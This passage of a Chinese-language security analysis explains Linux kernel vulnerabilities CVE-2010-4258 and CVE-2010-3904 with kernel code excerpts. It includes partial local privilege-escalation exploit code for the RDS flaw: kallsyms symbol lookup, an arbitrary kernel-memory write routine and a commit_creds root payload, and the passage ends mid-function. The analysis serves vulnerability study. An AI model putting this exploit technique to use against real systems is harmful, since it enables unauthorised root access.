内核任意地址可写漏洞
1. CVE-2010-4258漏洞分析
Linux存在一个特性即当一个线程被kill掉时,系统会通知用户空间。在线程创建时,
用户空间就会提供一个指针,以便内核向此指针写入0操作,返回给用户。部分代码如下所
示:
static struct task_struct *copy_process(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs,
unsigned long stack_size,int user *child_tidptr, struct pid *pid,int trace){
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr:
NULL;
}
当CLONE_CHILD_CLEARTID标志被设置的时候,copy_process会把child_tidptr指针赋值
给p->clear_child_tid,最重要的是child_tidptr是从用户空间传递进来的, 可以通过
clone系统调用, 配合CLONE_CHILD_CLEARTID标志 ,将child_tidptr传递给内核。当一个进
程在exit的时候,do_exit()会执行如下操作:
void mm_release(struct task_struct *tsk, struct mm_struct *mm){
if (tsk->clear_child_tid) {
if (!(tsk->flags & PF_SIGNALED) &&
atomic_read(&mm->mm_users) > 1) {
/*这里并没有校验用户空间上传的指针是否合法*/
put_user(0, tsk->clear_child_tid);
sys_futex(tsk->clear_child_tid, FUTEX_WAKE,1, NULL, NULL,
0);}
}}
tsk->clear_child_tid = NULL;
上述代码中,clear_child_tid变量是用户空间可直接操作的变量值,若内核未对此变
量进行检查,则很可能被黑客利用,对内核中的任意变量进行清0操作。尽管官方已经对此
漏洞进行了修复,增加了用户指针的校验即比较要访问的addr是否高于进程地址上限,若高
于地址上限,则不会进行拷贝操作。但当黑客通过各种手段如设计一个oops发生,使其出现
如下操作时:
set_fs ( KERNEL_DS );
...
put_user (0, pointer_to_kernel_memory );
...
set_fs ( USER_DS );
上述代码中,set_fs将当前进程的地址空间上限设为KERNL_DS, 此时则可绕过put_user
的那个指针检查,从而实现对任意一个内核地址空间写入NULL。
2. CVE-2010-3904漏洞分析
Linux使用了iovec结构执行recvmsg()样式套接字调用,以允许用户指定用于接收套接
字数据的缓冲区基址和大小。每个报文家族负责定义拷贝套接字数据的函数,内核接收到这
些数据后返回给用户空间以便用户程序处理所接收到的网络数据。但在将数据拷贝到用户空 间时,RDS协议没有确认用户所提供iovec结构的基址指向了有效的用户空间地址便使用
copy_to_user_inatomic()函数拷贝数据。因此,如果任意指定一个内核地址为iovec基址
并发布recvmsg()样式套接字调用,攻击者就可实现向内核内存中写入任意数据,导致root
用户权限提升。
利用此漏洞实现内核地址空间任意写的步骤如下:
(1) 搜索内核镜像地址;
unsigned long get_kernel_sym ( char * name ) { FILE *f = fopen ("/ proc / kallsyms ", "r");
...
sock_ops = get_kernel_sym (" rds_proto_ops ");
rds_ioctl = get_kernel_sym (" rds_ioctl ");
(2) 创建一对可靠数据包套接字RDS;
int prep_sock (int port );
(3) 接受一个数据包,覆盖任意设计好的内核函数地址;
void get_message ( unsigned long address , int sock );
void send_message ( unsigned long value , int sock );
(4) 促使内核调用此函数地址;
核心代码解析:
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock){
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}}
int attribute ((regparm(3)))getroot(void * file, void * vma){
commit_creds(prepare_kernel_cred(0));
return -1;
}
int main(int argc, char * argv[]){
//获取rds_ioctl函数地址值
sock_ops = get_kernel_sym (" rds_proto_ops ");
rds_ioctl = get_kernel_sym (" rds_ioctl ");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)
get_kernel_sym("prepare_kernel_cred");
target = sock_ops + 9 * sizeof ( void *);
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT); |